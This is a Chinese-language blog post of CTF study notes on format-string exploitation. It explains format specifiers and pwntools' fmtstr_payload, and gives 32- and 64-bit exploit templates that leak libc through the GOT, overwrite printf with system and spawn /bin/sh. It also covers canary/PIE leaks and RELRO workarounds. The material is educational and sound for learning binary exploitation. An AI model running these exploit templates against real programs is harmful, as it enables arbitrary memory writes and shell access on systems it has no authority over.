0%

Pwn - Format String Summary

总结一下格式化字符串漏洞,便于后续调用

原理 & 工具

原理

本质是利用 printf(string) 任意地址读写

记录一下常用的格式

1
2
3
4
5
6
fmt    :        标准作用       ||           常用方式
——————————————————————————————————————————————————————————————
%p : 输出栈上的内容 | (读) 找偏移\pie_base\canary
%s : 输出地址指向的内容 || (读) 泄露libc_base
%hhn : 修改地址指向的byte | (写) 任意地址写
%hn/%n : 修改地址指向的2/4bytes | (写) 任意地址写

工具: Pwntools - fmtstr_payload

Pwntools - class fmtstr

源码见上述链接或文章末尾的 Appendix

fmtstr是一个类,我们只需要用其中的 fmtstr_payload 来构造我们的 payload 即可。现在版本的 pwntools 已经支持 64 位的 格式化字符串 payload 生成了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Default: numbwritten=0 , write_size='byte'
payload = fmtstr_payload(offset, writes, numbwritten=, write_size='')

# Example:
context.clear(arch = 'amd64')
fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
b'%322419390c%4$llnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00'
fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
b'%47806c%5$lln%22649c%6$hnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00'
fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
b'%190c%7$lln%85c%8$hhn%36c%9$hhn%131c%10$hhnaaaab\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
context.clear(arch = 'i386')
fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
b'%322419390c%5$na\x00\x00\x00\x00'
fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
b'%4919c%7$hn%42887c%8$hna\x02\x00\x00\x00\x00\x00\x00\x00'
fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
b'%19c%12$hhn%36c%13$hhn%131c%14$hhn%4c%15$hhn\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')
b'c%3$naaa\x00\x00\x00\x00'
fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short')
b'%327679c%7$lln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00'
fmtstr_payload(10, {0x404048 : 0xbadc0ffe, 0x40403c : 0xdeadbeef}, no_dollars=True)
b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%125c%hhn%17c%hhn%32c%hhn%17c%hhn%203c%hhn%34c%hhn%3618c%hnacccc>@@\x00cccc=@@\x00cccc?@@\x00cccc<@@\x00ccccK@@\x00ccccJ@@\x00ccccH@@\x00'
fmtstr_payload(6, {0x404048 : 0xbadbad00}, no_dollars=True)
b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%229c%hhn%173c%hhn%13c%hhn%33c%hhnccccH@@\x00ccccI@@\x00ccccK@@\x00ccccJ@@\x00'
fmtstr_payload(6, {0x4040 : 0xbadbad00, 0x4060: 0xbadbad02}, no_dollars=True)
b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%212c%hhn%173c%hhn%13c%hhn%33c%hhn%39c%hhn%171c%hhn%13c%hhn%33c%hhnacccc@@\x00\x00ccccA@\x00\x00ccccC@\x00\x00ccccB@\x00\x00cccc`@\x00\x00cccca@\x00\x00ccccc@\x00\x00ccccb@\x00\x00'

CTF 中的题型

栈上

32位

最基础的题目,fmtstr_payload一把梭,模板如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 确认偏移量
payload = '%p-'*10
io.sendline(payload)

# 假设 offset=6,泄露libc基址
printf_got = elf.got['printf']
payload = p32(printf_got) + b'%6$s'
# payload = b'%7$s' + p32(printf_got)
io.sendline(payload)

# 确认libc
printf_addr = u32(io.recvuntil('\x7f')[-3:])
libc = LibcSearcher('printf',printf_addr)
libc_base = printf_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')

# 接收程序信息,向程序发送payload
payload = fmtstr_payload(6,{printf_got:system_addr},numbwritten=0,write_size='short')
io.sendline(payload)

# 提权
io.sendline(';/bin/sh')

64位

由于许多地址只有六字节,所以为了对齐八字节,我们需要用’\x00’来填充,但’\x00’会截断 printf 的输出,所以我们需要让 printf 先输出格式化字符.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

# 确认偏移量
payload = '%p-'*10
io.sendline(payload)

# 假设 offset=6,泄露libc基址
printf_got = elf.got['printf']
payload = b'%7$sAAAA' + p64(printf_got)
io.sendline(payload)

# 确认libc
printf_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('printf',printf_addr)
libc_base = printf_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')

# 接收程序信息,向程序发送payload
payload = fmtstr_payload(6,{printf_got:system_addr},numbwritten=0,write_size='short')
io.sendline(payload)

# 提权
io.sendline(';/bin/sh')

非栈上(BSS段)

2023moeCTF的第三道fmt就是这种题目,exp在本地,后续有时间更新

特殊情况

一次printf就返回

printf 的要求十分严格,通常有两种做法

  1. 要求:栈上有一串具有三个函数的rbp的链,NO PIE,libc已知
    1. 做法:在栈上布满one_gadget,然后找到一条带有3个rbp的链,修改中间一个 node 的低字节,让其指向的rbp变低,进而在返回时可以直接返回og
    2. 本质: 利用 ret(实质是 pop rip) 时返回栈帧上的一条指令
  2. 打fini_array(未学习)

FULL RELRO

FULL RELRO 意味着我们不能修改 got 表,所以我们需要修改返回地址

要求:可以 printf 的次数较多(至少多于四次),可以让我们将返回地址修改为 one_gadget

PIE/Canary bypass

假设调用链为 main->func->printf,而在 func 中存放着 fmt,则栈中 fmt 上方不远处一定有调用printf语句的下一句(PC+4),即返回地址,和canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
假设偏移量为6,栈构造如下
---printf栈帧---
................
printf_canary <- offset = 3
printf_rbp <- offset = 4
printf_ret_addr <- offset = 5
---printf栈帧---

----func栈帧----
fmt <- offset = 6
----func栈帧----

----main栈帧----
...............
----main栈帧----

# 泄露 pie_base & canary
payload = '%3$p-%5$p-END'
io.sendline(payload)
func_addr,canary = [int(x,16) for x in io.recvuntil('END')[-35:-4].split(b'-')]
ret_offset =
pie_base = func_addr - ret_offset

Appendix

pwnlib.fmtstr.fmtstr_payload源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def fmtstr_payload (
offset, # 字符串在栈上的偏移量
writes, # {target_addr:int_to_write} 要写入的数字
numbwritten=0, # printf 已经打印的字符数量
write_size='byte', # 写入字节的大小
write_size_max='long', #
overflows=16, #
strategy="small", # 默认small,如果追求速度可以用fast模式
badbytes=frozenset(), #
offset_bytes=0, #
no_dollars=False # 是否有 $ 符号,比如不用 '%996$n'
):

sz = WRITE_SIZE[write_size]
szmax = WRITE_SIZE[write_size_max]
all_atoms = make_atoms(writes, sz, szmax, numbwritten, overflows, strategy, badbytes)

fmt = b""
for _ in range(1000000):
data_offset = (offset_bytes + len(fmt)) // context.bytes
fmt, data = make_payload_dollar(offset + data_offset, all_atoms, numbwritten=numbwritten, no_dollars=no_dollars)
fmt = fmt + cyclic((-len(fmt)-offset_bytes) % context.bytes)

if len(fmt) + offset_bytes == data_offset * context.bytes:
break
else:
raise RuntimeError("this is a bug ... format string building did not converge")

return fmt + data
-------------文章就到这里啦!感谢您的阅读XD-------------